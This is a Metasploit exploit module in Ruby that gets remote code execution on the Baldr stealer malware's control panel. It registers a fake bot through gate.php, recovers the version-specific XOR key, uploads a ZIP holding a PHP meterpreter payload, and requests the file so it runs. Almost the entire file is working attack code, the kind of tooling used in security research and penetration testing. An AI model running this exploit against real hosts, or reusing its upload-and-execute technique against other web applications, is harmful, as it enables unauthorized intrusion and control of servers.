modules/exploits/multi/http/baldr_upload_exec.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Baldr Botnet Panel Shell Upload Exploit',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability within the Baldr
stealer malware control panel when uploading victim log files (which are uploaded
as ZIP files). Attackers can turn this vulnerability into an RCE by first
registering a new bot to the panel and then uploading a ZIP file containing
malicious PHP, which will then uploaded to a publicly accessible
directory underneath the /logs web directory.
Note that on versions 3.0 and 3.1 the ZIP files containing the victim log files
are encoded by XORing them with a random 4 byte key. This exploit module gets around
this restriction by retrieving the IP specific XOR key from panel gate before
uploading the malicious ZIP file.
},
'License' => MSF_LICENSE,
'Author' => [
'Ege Balcı <egebalci@pm.me>' # author & msf module
],
'References' => [
['URL', 'https://krabsonsecurity.com/2019/06/04/taking-a-look-at-baldr-stealer/'],
['URL', 'https://blog.malwarebytes.com/threat-analysis/2019/04/say-hello-baldr-new-stealer-market/'],
['URL', 'https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/baldr-vs-the-world.pdf'],
],
'DefaultOptions' => {
'SSL' => false,
'WfsDelay' => 5
},
'Platform' => [ 'php' ],
'Arch' => [ ARCH_PHP ],
'Targets' => [
[
'Auto',
{
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
}
],
[
'<= v2.0',
{
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
}
],
[
'v2.2',
{
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
}
],
[
'v3.0 & v3.1',
{
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
}
]
],
'Privileged' => false,
'DisclosureDate' => '2018-12-19',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the baldr gate', '/']),
]
)
end
def check
if select_target
Exploit::CheckCode::Appears("Baldr Version: #{select_target.name}")
else
Exploit::CheckCode::Safe
end
end
def select_target
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'gate.php')
)
if res && res.code == 200
if res.body.include?('~;~')
targets[3]
elsif res.body.include?(';')
targets[2]
elsif res.body.size < 4
targets[1]
end
end
end
def exploit
# Forge the payload
name = ".#{Rex::Text.rand_text_alpha(4)}"
files =
[
{ data: payload.encoded, fname: "#{name}.php" }
]
zip = Msf::Util::EXE.to_zip(files)
hwid = Rex::Text.rand_text_alpha(8).upcase
gate_uri = normalize_uri(target_uri.path, 'gate.php')
version = select_target
# If not 'Auto' then use the selected version
if target != targets[0]
version = target
end
gate_res = send_request_cgi({
'method' => 'GET',
'uri' => gate_uri
})
os = Rex::Text.rand_text_alpha(8..12)
case version
when targets[3]
fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res
unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~')
fail_with(Failure::UnexpectedReply, 'Could not obtain gate key')
end
key = gate_res.body.to_s.split('~;~')[0]
print_good("Key: #{key}")
data = "hwid=#{hwid}&os=#{os}&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v3.0"
data = Rex::Text.xor(key, data)
res = send_request_cgi({
'method' => 'GET',
'uri' => gate_uri,
'data' => data.to_s
})
fail_with(Failure::UnexpectedReply, 'Could not obtain gate key') unless res && res.code == 200
print_good('Bot successfully registered.')
data = Rex::Text.xor(key, zip.to_s)
form = Rex::MIME::Message.new
form.add_part(data.to_s, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"#{hwid}.zip\"")
res = send_request_cgi({
'method' => 'POST',
'uri' => gate_uri,
'ctype' => "multipart/form-data; boundary=#{form.bound}",
'data' => form.to_s
})
if res && res.code == 200
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
register_file_for_cleanup("#{name}.php")
else
print_error("Server responded with code #{res.code}")
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
end
when targets[2]
fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res
unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~')
fail_with(Failure::UnexpectedReply, 'Could not obtain gate key')
end
key = gate_res.body.to_s.split(';')[0]
print_good("Key: #{key}")
data = "hwid=#{hwid}&os=Windows 7 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v2.2***"
data << zip.to_s
result = Rex::Text.xor(key, data)
res = send_request_cgi({
'method' => 'POST',
'uri' => gate_uri,
'data' => result.to_s
})
unless res && res.code == 200
print_error("Server responded with code #{res.code}")
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
end
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
else
res = send_request_cgi({
'method' => 'POST',
'uri' => gate_uri,
'data' => zip.to_s,
'encode_params' => true,
'vars_get' => {
'hwid' => hwid,
'os' => os,
'cookie' => '0',
'pswd' => '0',
'credit' => '0',
'wallet' => '0',
'file' => '1',
'autofill' => '0',
'version' => 'v2.0'
}
})
if res && res.code == 200
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
else
print_error("Server responded with code #{res.code}")
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
end
end
vprint_status('Triggering payload')
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'logs', hwid, "#{name}.php")
}, 3)
end
end